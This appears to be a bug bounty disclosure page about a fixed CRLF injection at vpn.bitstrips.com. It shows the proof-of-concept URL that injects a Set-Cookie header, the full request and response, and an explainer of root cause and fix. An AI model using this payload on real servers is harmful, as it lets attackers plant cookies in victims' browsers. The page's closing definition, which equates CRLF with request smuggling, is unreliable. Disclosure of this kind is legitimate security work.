CRLF Injection at vpn.bitstrips.com
The server reflected a URL-encoded newline sequence in the request path into the response headers, allowing an attacker to inject an arbitrary Set-Cookie header. An attacker could set a cookie of their choosing on a victim's browser.
- Triaged in 24 hours
- Fixed in 2 days
- Paid in 2 days
- Disclosed after 9 days
HI
I found that the site https://vpn.bitstrips.com/ is vulnerable to a CRLF Injection. By injecting a Carriage Return and Line Feed character, we are able to make the server issue a set-cookie header.
GET Request :
https://vpn.bitstrips.com/__session_start__/%0aSet-Cookie:malicious_cookie1
Host: vpn.bitstrips.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
X-OpenVPN: 1
X-CWS-Proto-Ver: 2
Referer: https://vpn.bitstrips.com/?src=connect
Content-Length: 29
Cookie: openvpn_sess_73209e0b8ad597c3861a05a79e873389=e769bd6ab9896e586227df60f33836f0
Connection: keep-alive
Response:
HTTP/1.1 302 Found
Transfer-Encoding: chunked
Date: Tue, 06 Jun 2017 20:00:36 GMT
Content-Type: text/html; charset=UTF-8
Location: https://vpn.bitstrips.com/
Set-Cookie: malicious_cookie1
Server: OpenVPN-AS
As can be seen in the response, the server will issue a Set-Cookie header with an arbitrary value and that cookie will be set on the client.
To mitigate this issue, the application should strip out any input which contains the %0d%0a URL encoded characters.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application placed user-controlled path input into a response header without stripping carriage-return and line-feed characters.
Impact
An attacker could set an arbitrary cookie on a victim's browser.
What the attacker needed
Attacker can send a crafted request to the server
The fix
The application should strip any input containing URL-encoded carriage-return and line-feed characters.
How it was found
- Send a request to the session-start path with an encoded line break followed by a Set-Cookie header in the URL.
- Observe the response containing the injected Set-Cookie header.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Web servers send extra information called headers along with each response. If a server copies part of the web address into those headers without cleaning it, an attacker can sneak in a line break and add their own header. Here the attacker added a cookie header, which makes the victim's browser store a cookie the attacker controls.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.